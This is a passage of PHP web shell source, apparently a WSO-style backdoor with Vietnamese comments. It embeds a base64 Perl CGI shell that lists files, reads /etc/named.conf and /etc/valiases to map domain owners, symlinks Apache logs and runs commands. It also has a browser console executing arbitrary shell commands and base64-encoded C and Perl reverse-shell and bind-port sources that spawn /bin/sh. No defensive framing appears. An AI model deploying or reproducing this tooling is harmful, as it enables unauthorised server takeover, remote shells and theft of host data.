Q2hhbmdlJz48L2Zvcm0+IjsKCWlmKC1kICRwYXRoKQoJewoJCW15IEBmbmFtZSA9ICgpOwoJCW15IEBkbmFtZSA9ICgpOwoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkKCQl7CgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCQl7CgkJCQkkZj0kcGF0aC4kZmlsZTsKCQkJCWlmKC1kICRmKQoJCQkJewoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7CgkJCQl9CgkJCX0KCQkJY2xvc2VkaXIoRElSKTsKCQl9CgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOwoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsKCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+CgoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzY0NDg5MDk2Jz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmZmOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZmY7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=";
	$cgi = fopen($file_cgi, "w");
	fwrite($cgi, base64_decode($cgi_script));
	fwrite($htcgi, $isi_htcgi);
	chmod($file_cgi, 0755);
        chmod($memeg, 0755);
	echo "<br><br><center>[ Done ... <a href=\'telnet/cgi.new\' target=\'_blank\'>Click Here ]</a><br><br></div></center>";
    printFooter();
}

function actionConsole() {
    if(isset($_POST[\'ajax\'])) {
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
        ob_start();
        echo "document.cf.cmd.value=\'\';
";
        $temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']),"

	\\'"));
        if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match))    {
            if(@chdir($match[1])) {
                $GLOBALS[\'cwd\'] = @getcwd();
                echo "document.mf.c.value=\'".$GLOBALS[\'cwd\']."\';";
            }
        }
        echo "document.cf.output.value+=\'".$temp."\';";
        echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
        $temp = ob_get_clean();
        echo strlen($temp), "
", $temp;
        exit;
    }
    printHeader();

echo \'<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
    var n = (window.Event) ? e.which : e.keyCode;
    if(n == 38) {
        cur--;
        if(cur>=0)
            document.cf.cmd.value = cmds[cur];
        else
            cur++;
    } else if(n == 40) {
        cur++;
        if(cur < cmds.length)
            document.cf.cmd.value = cmds[cur];
        else
            cur--;
    }
}
function add(cmd) {
    cmds.pop();
    cmds.push(cmd);
    cmds.push("");
    cur = cmds.length-1;
}
</script>\';
    echo \'<center><h1>Console</h1></center><div class=content><center><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>\';
    foreach($GLOBALS[\'aliases\'] as $n => $v) {
        if($v == \'\') {
            echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';
            continue;
        }
        echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';
    }
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
    echo \'</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>\';
    if(!empty($_POST[\'p1\'])) {
        echo htmlspecialchars("$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']));
    }
    echo \'</textarea><input type=text name=cmd style="border-top:1;width:100%;" onkeydown="kp(event);">\';
    echo \'</form></div><script>document.cf.cmd.focus();</script></center>\';
    printFooter();
}


function actionLogout() {
    unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]);
    echo \'<title>Get Lost</title><body bgcolor=#000000><center><br>
<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
<span style="color:white;font: 15pt audiowide;">Bye</span></center></body>\';
}
function actionNetwork() {
    printHeader();
    $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
    $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
